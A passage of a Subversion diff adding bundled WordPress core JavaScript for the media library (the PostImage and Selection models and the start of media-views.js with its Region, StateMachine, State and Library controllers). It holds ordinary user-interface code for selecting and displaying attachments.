+ * Used in the embedded image attachment display settings modal - @see wp.media.view.MediaFrame.ImageDetails.
+ *
+ * @memberOf wp.media.model
+ *
+ * @class
+ * @augments Backbone.Model
+ *
+ * @param {int} [attributes]               Initial model attributes.
+ * @param {int} [attributes.attachment_id] ID of the attachment.
+ **/
+var PostImage = Backbone.Model.extend(/** @lends wp.media.model.PostImage.prototype */{
+
+	initialize: function( attributes ) {
+		var Attachment = wp.media.model.Attachment;
+		this.attachment = false;
+
+		if ( attributes.attachment_id ) {
+			this.attachment = Attachment.get( attributes.attachment_id );
+			if ( this.attachment.get( 'url' ) ) {
+				this.dfd = jQuery.Deferred();
+				this.dfd.resolve();
+			} else {
+				this.dfd = this.attachment.fetch();
+			}
+			this.bindAttachmentListeners();
+		}
+
+		// keep url in sync with changes to the type of link
+		this.on( 'change:link', this.updateLinkUrl, this );
+		this.on( 'change:size', this.updateSize, this );
+
+		this.setLinkTypeFromUrl();
+		this.setAspectRatio();
+
+		this.set( 'originalUrl', attributes.url );
+	},
+
+	bindAttachmentListeners: function() {
+		this.listenTo( this.attachment, 'sync', this.setLinkTypeFromUrl );
+		this.listenTo( this.attachment, 'sync', this.setAspectRatio );
+		this.listenTo( this.attachment, 'change', this.updateSize );
+	},
+
+	changeAttachment: function( attachment, props ) {
+		this.stopListening( this.attachment );
+		this.attachment = attachment;
+		this.bindAttachmentListeners();
+
+		this.set( 'attachment_id', this.attachment.get( 'id' ) );
+		this.set( 'caption', this.attachment.get( 'caption' ) );
+		this.set( 'alt', this.attachment.get( 'alt' ) );
+		this.set( 'size', props.get( 'size' ) );
+		this.set( 'align', props.get( 'align' ) );
+		this.set( 'link', props.get( 'link' ) );
+		this.updateLinkUrl();
+		this.updateSize();
+	},
+
+	setLinkTypeFromUrl: function() {
+		var linkUrl = this.get( 'linkUrl' ),
+			type;
+
+		if ( ! linkUrl ) {
+			this.set( 'link', 'none' );
+			return;
+		}
+
+		// default to custom if there is a linkUrl
+		type = 'custom';
+
+		if ( this.attachment ) {
+			if ( this.attachment.get( 'url' ) === linkUrl ) {
+				type = 'file';
+			} else if ( this.attachment.get( 'link' ) === linkUrl ) {
+				type = 'post';
+			}
+		} else {
+			if ( this.get( 'url' ) === linkUrl ) {
+				type = 'file';
+			}
+		}
+
+		this.set( 'link', type );
+	},
+
+	updateLinkUrl: function() {
+		var link = this.get( 'link' ),
+			url;
+
+		switch( link ) {
+			case 'file':
+				if ( this.attachment ) {
+					url = this.attachment.get( 'url' );
+				} else {
+					url = this.get( 'url' );
+				}
+				this.set( 'linkUrl', url );
+				break;
+			case 'post':
+				this.set( 'linkUrl', this.attachment.get( 'link' ) );
+				break;
+			case 'none':
+				this.set( 'linkUrl', '' );
+				break;
+		}
+	},
+
+	updateSize: function() {
+		var size;
+
+		if ( ! this.attachment ) {
+			return;
+		}
+
+		if ( this.get( 'size' ) === 'custom' ) {
+			this.set( 'width', this.get( 'customWidth' ) );
+			this.set( 'height', this.get( 'customHeight' ) );
+			this.set( 'url', this.get( 'originalUrl' ) );
+			return;
+		}
+
+		size = this.attachment.get( 'sizes' )[ this.get( 'size' ) ];
+
+		if ( ! size ) {
+			return;
+		}
+
+		this.set( 'url', size.url );
+		this.set( 'width', size.width );
+		this.set( 'height', size.height );
+	},
+
+	setAspectRatio: function() {
+		var full;
+
+		if ( this.attachment && this.attachment.get( 'sizes' ) ) {
+			full = this.attachment.get( 'sizes' ).full;
+
+			if ( full ) {
+				this.set( 'aspectRatio', full.width / full.height );
+				return;
+			}
+		}
+
+		this.set( 'aspectRatio', this.get( 'customWidth' ) / this.get( 'customHeight' ) );
+	}
+});
+
+module.exports = PostImage;
+
+
+/***/ }),
+
+/***/ 25:
+/***/ (function(module, exports) {
+
+var Attachments = wp.media.model.Attachments,
+	Selection;
+
+/**
+ * wp.media.model.Selection
+ *
+ * A selection of attachments.
+ *
+ * @memberOf wp.media.model
+ *
+ * @class
+ * @augments wp.media.model.Attachments
+ * @augments Backbone.Collection
+ */
+Selection = Attachments.extend(/** @lends wp.media.model.Selection.prototype */{
+	/**
+	 * Refresh the `single` model whenever the selection changes.
+	 * Binds `single` instead of using the context argument to ensure
+	 * it receives no parameters.
+	 *
+	 * @param {Array} [models=[]] Array of models used to populate the collection.
+	 * @param {Object} [options={}]
+	 */
+	initialize: function( models, options ) {
+		/**
+		 * call 'initialize' directly on the parent class
+		 */
+		Attachments.prototype.initialize.apply( this, arguments );
+		this.multiple = options && options.multiple;
+
+		this.on( 'add remove reset', _.bind( this.single, this, false ) );
+	},
+
+	/**
+	 * If the workflow does not support multi-select, clear out the selection
+	 * before adding a new attachment to it.
+	 *
+	 * @param {Array} models
+	 * @param {Object} options
+	 * @returns {wp.media.model.Attachment[]}
+	 */
+	add: function( models, options ) {
+		if ( ! this.multiple ) {
+			this.remove( this.models );
+		}
+		/**
+		 * call 'add' directly on the parent class
+		 */
+		return Attachments.prototype.add.call( this, models, options );
+	},
+
+	/**
+	 * Fired when toggling (clicking on) an attachment in the modal.
+	 *
+	 * @param {undefined|boolean|wp.media.model.Attachment} model
+	 *
+	 * @fires wp.media.model.Selection#selection:single
+	 * @fires wp.media.model.Selection#selection:unsingle
+	 *
+	 * @returns {Backbone.Model}
+	 */
+	single: function( model ) {
+		var previous = this._single;
+
+		// If a `model` is provided, use it as the single model.
+		if ( model ) {
+			this._single = model;
+		}
+		// If the single model isn't in the selection, remove it.
+		if ( this._single && ! this.get( this._single.cid ) ) {
+			delete this._single;
+		}
+
+		this._single = this._single || this.last();
+
+		// If single has changed, fire an event.
+		if ( this._single !== previous ) {
+			if ( previous ) {
+				previous.trigger( 'selection:unsingle', previous, this );
+
+				// If the model was already removed, trigger the collection
+				// event manually.
+				if ( ! this.get( previous.cid ) ) {
+					this.trigger( 'selection:unsingle', previous, this );
+				}
+			}
+			if ( this._single ) {
+				this._single.trigger( 'selection:single', this._single, this );
+			}
+		}
+
+		// Return the single model, or the last model as a fallback.
+		return this._single;
+	}
+});
+
+module.exports = Selection;
+
+
+/***/ })
+
+/******/ });
Index: /tags/5.0.20/src/wp-includes/js/media-views.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media-views.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media-views.js	(revision 56912)
@@ -0,0 +1,9239 @@
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+/******/
+/******/ 	// The require function
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+/******/
+/******/ 		// Check if module is in cache
+/******/ 		if(installedModules[moduleId]) {
+/******/ 			return installedModules[moduleId].exports;
+/******/ 		}
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+/******/ 		var module = installedModules[moduleId] = {
+/******/ 			i: moduleId,
+/******/ 			l: false,
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+/******/ 		};
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+/******/ 		modules[moduleId].call(module.exports, module, module.exports, __webpack_require__);
+/******/
+/******/ 		// Flag the module as loaded
+/******/ 		module.l = true;
+/******/
+/******/ 		// Return the exports of the module
+/******/ 		return module.exports;
+/******/ 	}
+/******/
+/******/
+/******/ 	// expose the modules object (__webpack_modules__)
+/******/ 	__webpack_require__.m = modules;
+/******/
+/******/ 	// expose the module cache
+/******/ 	__webpack_require__.c = installedModules;
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+/************************************************************************/
+/******/ (Array(26).concat([
+/* 26 */
+/***/ (function(module, exports, __webpack_require__) {
+
+var media = wp.media,
+	$ = jQuery,
+	l10n;
+
+media.isTouchDevice = ( 'ontouchend' in document );
+
+// Link any localized strings.
+l10n = media.view.l10n = window._wpMediaViewsL10n || {};
+
+// Link any settings.
+media.view.settings = l10n.settings || {};
+delete l10n.settings;
+
+// Copy the `post` setting over to the model settings.
+media.model.settings.post = media.view.settings.post;
+
+// Check if the browser supports CSS 3.0 transitions
+$.support.transition = (function(){
+	var style = document.documentElement.style,
+		transitions = {
+			WebkitTransition: 'webkitTransitionEnd',
+			MozTransition:    'transitionend',
+			OTransition:      'oTransitionEnd otransitionend',
+			transition:       'transitionend'
+		}, transition;
+
+	transition = _.find( _.keys( transitions ), function( transition ) {
+		return ! _.isUndefined( style[ transition ] );
+	});
+
+	return transition && {
+		end: transitions[ transition ]
+	};
+}());
+
+/**
+ * A shared event bus used to provide events into
+ * the media workflows that 3rd-party devs can use to hook
+ * in.
+ */
+media.events = _.extend( {}, Backbone.Events );
+
+/**
+ * Makes it easier to bind events using transitions.
+ *
+ * @param {string} selector
+ * @param {Number} sensitivity
+ * @returns {Promise}
+ */
+media.transition = function( selector, sensitivity ) {
+	var deferred = $.Deferred();
+
+	sensitivity = sensitivity || 2000;
+
+	if ( $.support.transition ) {
+		if ( ! (selector instanceof $) ) {
+			selector = $( selector );
+		}
+
+		// Resolve the deferred when the first element finishes animating.
+		selector.first().one( $.support.transition.end, deferred.resolve );
+
+		// Just in case the event doesn't trigger, fire a callback.
+		_.delay( deferred.resolve, sensitivity );
+
+	// Otherwise, execute on the spot.
+	} else {
+		deferred.resolve();
+	}
+
+	return deferred.promise();
+};
+
+media.controller.Region = __webpack_require__( 27 );
+media.controller.StateMachine = __webpack_require__( 28 );
+media.controller.State = __webpack_require__( 29 );
+
+media.selectionSync = __webpack_require__( 30 );
+media.controller.Library = __webpack_require__( 31 );
+media.controller.ImageDetails = __webpack_require__( 32 );
+media.controller.GalleryEdit = __webpack_require__( 33 );
+media.controller.GalleryAdd = __webpack_require__( 34 );
+media.controller.CollectionEdit = __webpack_require__( 35 );
+media.controller.CollectionAdd = __webpack_require__( 36 );
+media.controller.FeaturedImage = __webpack_require__( 37 );
+media.controller.ReplaceImage = __webpack_require__( 38 );
+media.controller.EditImage = __webpack_require__( 39 );
+media.controller.MediaLibrary = __webpack_require__( 40 );
+media.controller.Embed = __webpack_require__( 41 );
+media.controller.Cropper = __webpack_require__( 42 );
+media.controller.CustomizeImageCropper = __webpack_require__( 43 );
+media.controller.SiteIconCropper = __webpack_require__( 44 );
+
+media.View = __webpack_require__( 45 );
+media.view.Frame = __webpack_require__( 46 );
+media.view.MediaFrame = __webpack_require__( 47 );
+media.view.MediaFrame.Select = __webpack_require__( 48 );
+media.view.MediaFrame.Post = __webpack_require__( 49 );
+media.view.MediaFrame.ImageDetails = __webpack_require__( 50 );
+media.view.Modal = __webpack_require__( 51 );
+media.view.FocusManager = __webpack_require__( 52 );
+media.view.UploaderWindow = __webpack_require__( 53 );
+media.view.EditorUploader = __webpack_require__( 54 );
+media.view.UploaderInline = __webpack_require__( 55 );
+media.view.UploaderStatus = __webpack_require__( 56 );
+media.view.UploaderStatusError = __webpack_require__( 57 );
+media.view.Toolbar = __webpack_require__( 58 );
+media.view.Toolbar.Select = __webpack_require__( 59 );
+media.view.Toolbar.Embed = __webpack_require__( 60 );
+media.view.Button = __webpack_require__( 61 );
+media.view.ButtonGroup = __webpack_require__( 62 );
+media.view.PriorityList = __webpack_require__( 63 );
+media.view.MenuItem = __webpack_require__( 64 );
+media.view.Menu = __webpack_require__( 65 );
+media.view.RouterItem = __webpack_require__( 66 );
+media.view.Router = __webpack_require__( 67 );
+media.view.Sidebar = __webpack_require__( 68 );
+media.view.Attachment = __webpack_require__( 69 );
+media.view.Attachment.Library = __webpack_require__( 70 );
+media.view.Attachment.EditLibrary = __webpack_require__( 71 );
+media.view.Attachments = __webpack_require__( 72 );
+media.view.Search = __webpack_require__( 73 );
+media.view.AttachmentFilters = __webpack_require__( 74 );
+media.view.DateFilter = __webpack_require__( 75 );
+media.view.AttachmentFilters.Uploaded = __webpack_require__( 76 );
+media.view.AttachmentFilters.All = __webpack_require__( 77 );
+media.view.AttachmentsBrowser = __webpack_require__( 78 );
+media.view.Selection = __webpack_require__( 79 );
+media.view.Attachment.Selection = __webpack_require__( 80 );
+media.view.Attachments.Selection = __webpack_require__( 81 );
+media.view.Attachment.EditSelection = __webpack_require__( 82 );
+media.view.Settings = __webpack_require__( 83 );
+media.view.Settings.AttachmentDisplay = __webpack_require__( 84 );
+media.view.Settings.Gallery = __webpack_require__( 85 );
+media.view.Settings.Playlist = __webpack_require__( 86 );
+media.view.Attachment.Details = __webpack_require__( 87 );
+media.view.AttachmentCompat = __webpack_require__( 88 );
+media.view.Iframe = __webpack_require__( 89 );
+media.view.Embed = __webpack_require__( 90 );
+media.view.Label = __webpack_require__( 91 );
+media.view.EmbedUrl = __webpack_require__( 92 );
+media.view.EmbedLink = __webpack_require__( 93 );
+media.view.EmbedImage = __webpack_require__( 94 );
+media.view.ImageDetails = __webpack_require__( 95 );
+media.view.Cropper = __webpack_require__( 96 );
+media.view.SiteIconCropper = __webpack_require__( 97 );
+media.view.SiteIconPreview = __webpack_require__( 98 );
+media.view.EditImage = __webpack_require__( 99 );
+media.view.Spinner = __webpack_require__( 100 );
+
+
+/***/ }),
+/* 27 */
+/***/ (function(module, exports) {
+
+/**
+ * wp.media.controller.Region
+ *
+ * A region is a persistent application layout area.
+ *
+ * A region assumes one mode at any time, and can be switched to another.
+ *
+ * When mode changes, events are triggered on the region's parent view.
+ * The parent view will listen to specific events and fill the region with an
+ * appropriate view depending on mode. For example, a frame listens for the
+ * 'browse' mode t be activated on the 'content' view and then fills the region
+ * with an AttachmentsBrowser view.
+ *
+ * @memberOf wp.media.controller
+ *
+ * @class
+ *
+ * @param {object}        options          Options hash for the region.
+ * @param {string}        options.id       Unique identifier for the region.
+ * @param {Backbone.View} options.view     A parent view the region exists within.
+ * @param {string}        options.selector jQuery selector for the region within the parent view.
+ */
+var Region = function( options ) {
+	_.extend( this, _.pick( options || {}, 'id', 'view', 'selector' ) );
+};
+
+// Use Backbone's self-propagating `extend` inheritance method.
+Region.extend = Backbone.Model.extend;
+
+_.extend( Region.prototype,/** @lends wp.media.controller.Region.prototype */{
+	/**
+	 * Activate a mode.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @param {string} mode
+	 *
+	 * @fires Region#activate
+	 * @fires Region#deactivate
+	 *
+	 * @returns {wp.media.controller.Region} Returns itself to allow chaining.
+	 */
+	mode: function( mode ) {
+		if ( ! mode ) {
+			return this._mode;
+		}
+		// Bail if we're trying to change to the current mode.
+		if ( mode === this._mode ) {
+			return this;
+		}
+
+		/**
+		 * Region mode deactivation event.
+		 *
+		 * @event wp.media.controller.Region#deactivate
+		 */
+		this.trigger('deactivate');
+
+		this._mode = mode;
+		this.render( mode );
+
+		/**
+		 * Region mode activation event.
+		 *
+		 * @event wp.media.controller.Region#activate
+		 */
+		this.trigger('activate');
+		return this;
+	},
+	/**
+	 * Render a mode.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @param {string} mode
+	 *
+	 * @fires Region#create
+	 * @fires Region#render
+	 *
+	 * @returns {wp.media.controller.Region} Returns itself to allow chaining
+	 */
+	render: function( mode ) {
+		// If the mode isn't active, activate it.
+		if ( mode && mode !== this._mode ) {
+			return this.mode( mode );
+		}
+
+		var set = { view: null },
+			view;
+
+		/**
+		 * Create region view event.
+		 *
+		 * Region view creation takes place in an event callback on the frame.
+		 *
+		 * @event wp.media.controller.Region#create
+		 * @type {object}
+		 * @property {object} view
+		 */
+		this.trigger( 'create', set );
+		view = set.view;
+
+		/**
+		 * Render region view event.
+		 *
+		 * Region view creation takes place in an event callback on the frame.
+		 *
+		 * @event wp.media.controller.Region#render
+		 * @type {object}
+		 */
+		this.trigger( 'render', view );
+		if ( view ) {
+			this.set( view );
+		}
+		return this;
+	},
+
+	/**
+	 * Get the region's view.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @returns {wp.media.View}
+	 */
+	get: function() {
+		return this.view.views.first( this.selector );
+	},
+
+	/**
+	 * Set the region's view as a subview of the frame.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @param {Array|Object} views
+	 * @param {Object} [options={}]
+	 * @returns {wp.Backbone.Subviews} Subviews is returned to allow chaining
+	 */
+	set: function( views, options ) {
+		if ( options ) {
+			options.add = false;
+		}
+		return this.view.views.set( this.selector, views, options );
+	},
+
+	/**
+	 * Trigger regional view events on the frame.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @param {string} event
+	 * @returns {undefined|wp.media.controller.Region} Returns itself to allow chaining.
+	 */
+	trigger: function( event ) {
+		var base, args;
+
+		if ( ! this._mode ) {
+			return;
+		}
+
+		args = _.toArray( arguments );
+		base = this.id + ':' + event;
+
+		// Trigger `{this.id}:{event}:{this._mode}` event on the frame.
+		args[0] = base + ':' + this._mode;
+		this.view.trigger.apply( this.view, args );
+
+		// Trigger `{this.id}:{event}` event on the frame.
+		args[0] = base;
+		this.view.trigger.apply( this.view, args );
+		return this;
+	}
+});
+
+module.exports = Region;
+
+
+/***/ }),
+/* 28 */
+/***/ (function(module, exports) {
+
+/**
+ * wp.media.controller.StateMachine
+ *
+ * A state machine keeps track of state. It is in one state at a time,
+ * and can change from one state to another.
+ *
+ * States are stored as models in a Backbone collection.
+ *
+ * @memberOf wp.media.controller
+ *
+ * @since 3.5.0
+ *
+ * @class
+ * @augments Backbone.Model
+ * @mixin
+ * @mixes Backbone.Events
+ *
+ * @param {Array} states
+ */
+var StateMachine = function( states ) {
+	// @todo This is dead code. The states collection gets created in media.view.Frame._createStates.
+	this.states = new Backbone.Collection( states );
+};
+
+// Use Backbone's self-propagating `extend` inheritance method.
+StateMachine.extend = Backbone.Model.extend;
+
+_.extend( StateMachine.prototype, Backbone.Events,/** @lends wp.media.controller.StateMachine.prototype */{
+	/**
+	 * Fetch a state.
+	 *
+	 * If no `id` is provided, returns the active state.
+	 *
+	 * Implicitly creates states.
+	 *
+	 * Ensure that the `states` collection exists so the `StateMachine`
+	 *   can be used as a mixin.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @param {string} id
+	 * @returns {wp.media.controller.State} Returns a State model
+	 *   from the StateMachine collection
+	 */
+	state: function( id ) {
+		this.states = this.states || new Backbone.Collection();
+
+		// Default to the active state.
+		id = id || this._state;
+
+		if ( id && ! this.states.get( id ) ) {
+			this.states.add({ id: id });
+		}
+		return this.states.get( id );
+	},
+
+	/**
+	 * Sets the active state.
+	 *
+	 * Bail if we're trying to select the current state, if we haven't
+	 * created the `states` collection, or are trying to select a state
+	 * that does not exist.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @param {string} id
+	 *
+	 * @fires wp.media.controller.State#deactivate
+	 * @fires wp.media.controller.State#activate
+	 *
+	 * @returns {wp.media.controller.StateMachine} Returns itself to allow chaining
+	 */
+	setState: function( id ) {
+		var previous = this.state();
+
+		if ( ( previous && id === previous.id ) || ! this.states || ! this.states.get( id ) ) {
+			return this;
+		}
+
+		if ( previous ) {
+			previous.trigger('deactivate');
+			this._lastState = previous.id;
+		}
+
+		this._state = id;
+		this.state().trigger('activate');
+
+		return this;
+	},
+
+	/**
+	 * Returns the previous active state.
+	 *
+	 * Call the `state()` method with no parameters to retrieve the current
+	 * active state.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @returns {wp.media.controller.State} Returns a State model
+	 *    from the StateMachine collection
+	 */
+	lastState: function() {
+		if ( this._lastState ) {
+			return this.state( this._lastState );
+		}
+	}
+});
+
+// Map all event binding and triggering on a StateMachine to its `states` collection.
+_.each([ 'on', 'off', 'trigger' ], function( method ) {
+	/**
+	 * @function on
+	 * @memberOf wp.media.controller.StateMachine
+	 * @instance
+	 * @returns {wp.media.controller.StateMachine} Returns itself to allow chaining.
+	 */
+	/**
+	 * @function off
+	 * @memberOf wp.media.controller.StateMachine
+	 * @instance
+	 * @returns {wp.media.controller.StateMachine} Returns itself to allow chaining.
+	 */
+	/**
+	 * @function trigger
+	 * @memberOf wp.media.controller.StateMachine
+	 * @instance
+	 * @returns {wp.media.controller.StateMachine} Returns itself to allow chaining.
+	 */
+	StateMachine.prototype[ method ] = function() {
+		// Ensure that the `states` collection exists so the `StateMachine`
+		// can be used as a mixin.
+		this.states = this.states || new Backbone.Collection();
+		// Forward the method to the `states` collection.
+		this.states[ method ].apply( this.states, arguments );
+		return this;
+	};
+});
+
+module.exports = StateMachine;
+
+
+/***/ }),
+/* 29 */
+/***/ (function(module, exports) {
+
+/**
+ * wp.media.controller.State
+ *
+ * A state is a step in a workflow that when set will trigger the controllers
+ * for the regions to be updated as specified in the frame.
+ *
+ * A state has an event-driven lifecycle:
+ *
+ *     'ready'      triggers when a state is added to a state machine's collection.
+ *     'activate'   triggers when a state is activated by a state machine.
+ *     'deactivate' triggers when a state is deactivated by a state machine.
+ *     'reset'      is not triggered automatically. It should be invoked by the
+ *                  proper controller to reset the state to its default.
+ *
+ * @memberOf wp.media.controller
+ *
+ * @class
+ * @augments Backbone.Model
+ */
+var State = Backbone.Model.extend(/** @lends wp.media.controller.State.prototype */{
+	/**
+	 * Constructor.
+	 *
+	 * @since 3.5.0
+	 */
+	constructor: function() {
+		this.on( 'activate', this._preActivate, this );
+		this.on( 'activate', this.activate, this );
+		this.on( 'activate', this._postActivate, this );
+		this.on( 'deactivate', this._deactivate, this );
+		this.on( 'deactivate', this.deactivate, this );
+		this.on( 'reset', this.reset, this );
+		this.on( 'ready', this._ready, this );
+		this.on( 'ready', this.ready, this );
+		/**
+		 * Call parent constructor with passed arguments
+		 */
+		Backbone.Model.apply( this, arguments );
+		this.on( 'change:menu', this._updateMenu, this );
+	},
+	/**
+	 * Ready event callback.
+	 *
+	 * @abstract
+	 * @since 3.5.0
+	 */
+	ready: function() {},
+
+	/**
+	 * Activate event callback.
+	 *
+	 * @abstract
+	 * @since 3.5.0
+	 */
+	activate: function() {},
+
+	/**
+	 * Deactivate event callback.
+	 *
+	 * @abstract
+	 * @since 3.5.0
+	 */
+	deactivate: function() {},
+
+	/**
+	 * Reset event callback.
+	 *
+	 * @abstract
+	 * @since 3.5.0
+	 */
+	reset: function() {},
+
+	/**
+	 * @access private
+	 * @since 3.5.0
+	 */
+	_ready: function() {
+		this._updateMenu();
+	},
+
+	/**
+	 * @access private
+	 * @since 3.5.0
+	*/
+	_preActivate: function() {
+		this.active = true;
+	},
+
+	/**
+	 * @access private
+	 * @since 3.5.0
+	 */
+	_postActivate: function() {
+		this.on( 'change:menu', this._menu, this );
+		this.on( 'change:titleMode', this._title, this );
+		this.on( 'change:content', this._content, this );
+		this.on( 'change:toolbar', this._toolbar, this );
+
+		this.frame.on( 'title:render:default', this._renderTitle, this );
+
+		this._title();
+		this._menu();
+		this._toolbar();
+		this._content();
+		this._router();
+	},
+
+	/**
+	 * @access private
+	 * @since 3.5.0
+	 */
+	_deactivate: function() {
+		this.active = false;
+
+		this.frame.off( 'title:render:default', this._renderTitle, this );
+
+		this.off( 'change:menu', this._menu, this );
+		this.off( 'change:titleMode', this._title, this );
+		this.off( 'change:content', this._content, this );
+		this.off( 'change:toolbar', this._toolbar, this );
+	},
+
+	/**
+	 * @access private
+	 * @since 3.5.0
+	 */
+	_title: function() {
+		this.frame.title.render( this.get('titleMode') || 'default' );
+	},
+
+	/**
+	 * @access private
+	 * @since 3.5.0
+	 */
+	_renderTitle: function( view ) {
+		view.$el.text( this.get('title') || '' );
+	},
+
+	/**
+	 * @access private
+	 * @since 3.5.0
+	 */
+	_router: function() {
+		var router = this.frame.router,
+			mode = this.get('router'),
+			view;
+
+		this.frame.$el.toggleClass( 'hide-router', ! mode );
+		if ( ! mode ) {
+			return;
+		}
+
+		this.frame.router.render( mode );
+
+		view = router.get();
+		if ( view && view.select ) {
+			view.select( this.frame.content.mode() );
+		}
+	},
+
+	/**
+	 * @access private
+	 * @since 3.5.0
+	 */
+	_menu: function() {
+		var menu = this.frame.menu,
+			mode = this.get('menu'),
+			view;
+
+		this.frame.$el.toggleClass( 'hide-menu', ! mode );
+		if ( ! mode ) {
+			return;
+		}
+
+		menu.mode( mode );
+
+		view = menu.get();
+		if ( view && view.select ) {
+			view.select( this.id );
+		}
+	},
+
+	/**
+	 * @access private
+	 * @since 3.5.0
+	 */
+	_updateMenu: function() {
+		var previous = this.previous('menu'),
+			menu = this.get('menu');
+
+		if ( previous ) {
+			this.frame.off( 'menu:render:' + previous, this._renderMenu, this );
+		}
+
+		if ( menu ) {
+			this.frame.on( 'menu:render:' + menu, this._renderMenu, this );
+		}
+	},
+
+	/**
+	 * Create a view in the media menu for the state.
+	 *
+	 * @access private
+	 * @since 3.5.0
+	 *
+	 * @param {media.view.Menu} view The menu view.
+	 */
+	_renderMenu: function( view ) {
+		var menuItem = this.get('menuItem'),
+			title = this.get('title'),
+			priority = this.get('priority');
+
+		if ( ! menuItem && title ) {
+			menuItem = { text: title };
+
+			if ( priority ) {
+				menuItem.priority = priority;
+			}
+		}
+
+		if ( ! menuItem ) {
+			return;
+		}
+
+		view.set( this.id, menuItem );
+	}
+});
+
+_.each(['toolbar','content'], function( region ) {
+	/**
+	 * @access private
+	 */
+	State.prototype[ '_' + region ] = function() {
+		var mode = this.get( region );
+		if ( mode ) {
+			this.frame[ region ].render( mode );
+		}
+	};
+});
+
+module.exports = State;
+
+
+/***/ }),
+/* 30 */
+/***/ (function(module, exports) {
+
+/**
+ * wp.media.selectionSync
+ *
+ * Sync an attachments selection in a state with another state.
+ *
+ * Allows for selecting multiple images in the Add Media workflow, and then
+ * switching to the Insert Gallery workflow while preserving the attachments selection.
+ *
+ * @memberOf wp.media
+ *
+ * @mixin
+ */
+var selectionSync = {
+	/**
+	 * @since 3.5.0
+	 */
+	syncSelection: function() {
+		var selection = this.get('selection'),
+			manager = this.frame._selection;
+
+		if ( ! this.get('syncSelection') || ! manager || ! selection ) {
+			return;
+		}
+
+		// If the selection supports multiple items, validate the stored
+		// attachments based on the new selection's conditions. Record
+		// the attachments that are not included; we'll maintain a
+		// reference to those. Other attachments are considered in flux.
+		if ( selection.multiple ) {
+			selection.reset( [], { silent: true });
+			selection.validateAll( manager.attachments );
+			manager.difference = _.difference( manager.attachments.models, selection.models );
+		}
+
+		// Sync the selection's single item with the master.
+		selection.single( manager.single );
+	},
+
+	/**
+	 * Record the currently active attachments, which is a combination
+	 * of the selection's attachments and the set of selected
+	 * attachments that this specific selection considered invalid.
+	 * Reset the difference and record the single attachment.
+	 *
+	 * @since 3.5.0
+	 */
+	recordSelection: function() {
+		var selection = this.get('selection'),
+			manager = this.frame._selection;
+
+		if ( ! this.get('syncSelection') || ! manager || ! selection ) {
+			return;
+		}
+
+		if ( selection.multiple ) {
+			manager.attachments.reset( selection.toArray().concat( manager.difference ) );
+			manager.difference = [];
+		} else {
+			manager.attachments.add( selection.toArray() );
+		}
+
+		manager.single = selection._single;
+	}
+};
+
+module.exports = selectionSync;
+
+
+/***/ }),
+/* 31 */
+/***/ (function(module, exports) {
+
+var l10n = wp.media.view.l10n,
+	getUserSetting = window.getUserSetting,
+	setUserSetting = window.setUserSetting,
+	Library;
+
+/**
+ * wp.media.controller.Library
+ *
+ * A state for choosing an attachment or group of attachments from the media library.
+ *
+ * @memberOf wp.media.controller
+ *
+ * @class
+ * @augments wp.media.controller.State
+ * @augments Backbone.Model
+ * @mixes media.selectionSync
+ *
+ * @param {object}                          [attributes]                         The attributes hash passed to the state.
+ * @param {string}                          [attributes.id=library]              Unique identifier.
+ * @param {string}                          [attributes.title=Media library]     Title for the state. Displays in the media menu and the frame's title region.
+ * @param {wp.media.model.Attachments}      [attributes.library]                 The attachments collection to browse.
+ *                                                                               If one is not supplied, a collection of all attachments will be created.
+ * @param {wp.media.model.Selection|object} [attributes.selection]               A collection to contain attachment selections within the state.
+ *                                                                               If the 'selection' attribute is a plain JS object,
+ *                                                                               a Selection will be created using its values as the selection instance's `props` model.
+ *                                                                               Otherwise, it will copy the library's `props` model.
+ * @param {boolean}                         [attributes.multiple=false]          Whether multi-select is enabled.
+ * @param {string}                          [attributes.content=upload]          Initial mode for the content region.
+ *                                                                               Overridden by persistent user setting if 'contentUserSetting' is true.
+ * @param {string}                          [attributes.menu=default]            Initial mode for the menu region.
+ * @param {string}                          [attributes.router=browse]           Initial mode for the router region.
+ * @param {string}                          [attributes.toolbar=select]          Initial mode for the toolbar region.
+ * @param {boolean}                         [attributes.searchable=true]         Whether the library is searchable.
+ * @param {boolean|string}                  [attributes.filterable=false]        Whether the library is filterable, and if so what filters should be shown.
+ *                                                                               Accepts 'all', 'uploaded', or 'unattached'.
+ * @param {boolean}                         [attributes.sortable=true]           Whether the Attachments should be sortable. Depends on the orderby property being set to menuOrder on the attachments collection.
+ * @param {boolean}                         [attributes.autoSelect=true]         Whether an uploaded attachment should be automatically added to the selection.
+ * @param {boolean}                         [attributes.describe=false]          Whether to offer UI to describe attachments - e.g. captioning images in a gallery.
+ * @param {boolean}                         [attributes.contentUserSetting=true] Whether the content region's mode should be set and persisted per user.
+ * @param {boolean}                         [attributes.syncSelection=true]      Whether the Attachments selection should be persisted from the last state.
+ */
+Library = wp.media.controller.State.extend(/** @lends wp.media.controller.Library.prototype */{
+	defaults: {
+		id:                 'library',
+		title:              l10n.mediaLibraryTitle,
+		multiple:           false,
+		content:            'upload',
+		menu:               'default',
+		router:             'browse',
+		toolbar:            'select',
+		searchable:         true,
+		filterable:         false,
+		sortable:           true,
+		autoSelect:         true,
+		describe:           false,
+		contentUserSetting: true,
+		syncSelection:      true
+	},
+
+	/**
+	 * If a library isn't provided, query all media items.
+	 * If a selection instance isn't provided, create one.
+	 *
+	 * @since 3.5.0
+	 */
+	initialize: function() {
+		var selection = this.get('selection'),
+			props;
+
+		if ( ! this.get('library') ) {
+			this.set( 'library', wp.media.query() );
+		}
+
+		if ( ! ( selection instanceof wp.media.model.Selection ) ) {
+			props = selection;
+
+			if ( ! props ) {
+				props = this.get('library').props.toJSON();
+				props = _.omit( props, 'orderby', 'query' );
+			}
+
+			this.set( 'selection', new wp.media.model.Selection( null, {
+				multiple: this.get('multiple'),
+				props: props
+			}) );
+		}
+
+		this.resetDisplays();
+	},
+
+	/**
+	 * @since 3.5.0
+	 */
+	activate: function() {
+		this.syncSelection();
+
+		wp.Uploader.queue.on( 'add', this.uploading, this );
+
+		this.get('selection').on( 'add remove reset', this.refreshContent, this );
+
+		if ( this.get( 'router' ) && this.get('contentUserSetting') ) {
